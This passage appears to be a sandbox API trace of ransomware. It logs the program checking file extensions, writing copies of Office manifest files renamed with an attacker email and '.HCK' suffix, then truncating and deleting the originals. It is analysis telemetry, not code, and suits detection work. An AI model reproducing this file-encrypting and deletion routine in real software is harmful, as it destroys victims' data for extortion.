Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.637] lstrlenW (lpString=".doc") returned 4 [0151.637] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0151.637] lstrlenW (lpString=".docx") returned 5 [0151.637] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0151.637] lstrlenW (lpString=".pdf") returned 4 [0151.637] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString=".xls") returned 4 [0151.638] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString=".xlsx") returned 5 [0151.638] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0151.638] lstrlenW (lpString=".ppt") returned 4 [0151.638] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.638] lstrlenW (lpString=".zip") returned 4 [0151.638] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0151.638] lstrlenW (lpString=".rar") returned 4 [0151.638] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString=".bz2") returned 4 [0151.638] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString=".7z") returned 3 [0151.638] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.638] lstrlenW (lpString=".dbf") returned 4 [0151.638] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.638] lstrlenW (lpString=".1cd") returned 4 [0151.638] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.638] lstrlenW (lpString=".jpg") returned 4 [0151.638] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.638] lstrlenW (lpString=".doc") returned 4 [0151.638] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString=".docx") returned 5 [0151.638] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0151.638] lstrlenW (lpString=".pdf") returned 4 [0151.638] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString=".xls") returned 4 [0151.638] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString=".xlsx") returned 5 [0151.638] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0151.638] lstrlenW (lpString=".ppt") returned 4 [0151.638] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.638] lstrlenW (lpString=".zip") returned 4 [0151.638] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0151.638] lstrlenW (lpString=".rar") returned 4 [0151.638] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString=".bz2") returned 4 [0151.638] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString=".7z") returned 3 [0151.638] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.638] lstrlenW (lpString=".dbf") returned 4 [0151.638] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.638] lstrlenW (lpString=".1cd") returned 4 [0151.638] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0151.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0151.639] lstrlenW (lpString=".jpg") returned 4 [0151.639] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0151.639] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0151.639] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0151.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.639] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1124942) returned 1 [0151.639] CloseHandle (hObject=0x384) returned 1 [0151.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0151.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.639] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.639] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0151.640] GetLastError () returned 0x0 [0151.640] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0151.666] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0152.176] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0152.183] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x12a60, lpOverlapped=0x0) returned 1 [0152.186] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.186] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13e, lpOverlapped=0x0) returned 1 [0152.186] SetEndOfFile (hFile=0x30c) returned 1 [0152.186] CloseHandle (hObject=0x30c) returned 1 [0152.203] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.204] SetEndOfFile (hFile=0x384) returned 1 [0152.205] CloseHandle (hObject=0x384) returned 1 [0152.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0152.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0152.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.205] lstrlenW (lpString=".doc") returned 4 [0152.205] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0152.205] lstrlenW (lpString=".docx") returned 5 [0152.206] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0152.206] lstrlenW (lpString=".pdf") returned 4 [0152.206] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString=".xls") returned 4 [0152.206] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString=".xlsx") returned 5 [0152.206] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0152.206] lstrlenW (lpString=".ppt") returned 4 [0152.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.206] lstrlenW (lpString=".zip") returned 4 [0152.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0152.206] lstrlenW (lpString=".rar") returned 4 [0152.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString=".bz2") returned 4 [0152.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString=".7z") returned 3 [0152.206] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0152.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.206] lstrlenW (lpString=".dbf") returned 4 [0152.206] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.206] lstrlenW (lpString=".1cd") returned 4 [0152.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.206] lstrlenW (lpString=".jpg") returned 4 [0152.206] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.206] lstrlenW (lpString=".doc") returned 4 [0152.206] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString=".docx") returned 5 [0152.206] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0152.206] lstrlenW (lpString=".pdf") returned 4 [0152.206] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString=".xls") returned 4 [0152.206] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString=".xlsx") returned 5 [0152.206] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0152.206] lstrlenW (lpString=".ppt") returned 4 [0152.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.206] lstrlenW (lpString=".zip") returned 4 [0152.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0152.206] lstrlenW (lpString=".rar") returned 4 [0152.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString=".bz2") returned 4 [0152.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString=".7z") returned 3 [0152.206] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0152.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.206] lstrlenW (lpString=".dbf") returned 4 [0152.206] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0152.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.206] lstrlenW (lpString=".1cd") returned 4 [0152.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0152.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0152.415] lstrlenW (lpString=".jpg") returned 4 [0152.415] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0152.415] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0152.415] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0152.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.734] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=343329) returned 1 [0152.734] CloseHandle (hObject=0x384) returned 1 [0152.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0152.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0152.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.735] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.735] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0152.735] GetLastError () returned 0x0 [0152.735] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x53d21, lpOverlapped=0x0) returned 1 [0152.751] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x53d30, lpOverlapped=0x0) returned 1 [0152.790] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.791] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13e, lpOverlapped=0x0) returned 1 [0152.791] SetEndOfFile (hFile=0x360) returned 1 [0152.791] CloseHandle (hObject=0x360) returned 1 [0152.796] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.796] SetEndOfFile (hFile=0x384) returned 1 [0152.798] CloseHandle (hObject=0x384) returned 1 [0152.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0152.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0152.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.799] lstrlenW (lpString=".doc") returned 4 [0152.799] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0152.799] lstrlenW (lpString=".docx") returned 5 [0152.799] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0152.799] lstrlenW (lpString=".pdf") returned 4 [0152.799] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0152.799] lstrlenW (lpString=".xls") returned 4 [0152.799] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0152.799] lstrlenW (lpString=".xlsx") returned 5 [0152.799] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0152.799] lstrlenW (lpString=".ppt") returned 4 [0152.799] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0152.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.799] lstrlenW (lpString=".zip") returned 4 [0152.799] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0152.799] lstrlenW (lpString=".rar") returned 4 [0152.799] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0152.799] lstrlenW (lpString=".bz2") returned 4 [0152.799] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString=".7z") returned 3 [0152.800] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0152.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.800] lstrlenW (lpString=".dbf") returned 4 [0152.800] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.800] lstrlenW (lpString=".1cd") returned 4 [0152.800] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.800] lstrlenW (lpString=".jpg") returned 4 [0152.800] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.800] lstrlenW (lpString=".doc") returned 4 [0152.800] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString=".docx") returned 5 [0152.800] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0152.800] lstrlenW (lpString=".pdf") returned 4 [0152.800] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString=".xls") returned 4 [0152.800] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString=".xlsx") returned 5 [0152.800] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0152.800] lstrlenW (lpString=".ppt") returned 4 [0152.800] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.800] lstrlenW (lpString=".zip") returned 4 [0152.800] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0152.800] lstrlenW (lpString=".rar") returned 4 [0152.800] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString=".bz2") returned 4 [0152.800] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString=".7z") returned 3 [0152.800] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0152.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.800] lstrlenW (lpString=".dbf") returned 4 [0152.800] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0152.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.800] lstrlenW (lpString=".1cd") returned 4 [0152.801] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0152.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0152.801] lstrlenW (lpString=".jpg") returned 4 [0152.801] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0152.801] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0152.801] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0152.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.801] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=65002) returned 1 [0152.801] CloseHandle (hObject=0x384) returned 1 [0152.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0152.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0152.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.802] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.802] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0152.802] GetLastError () returned 0x0 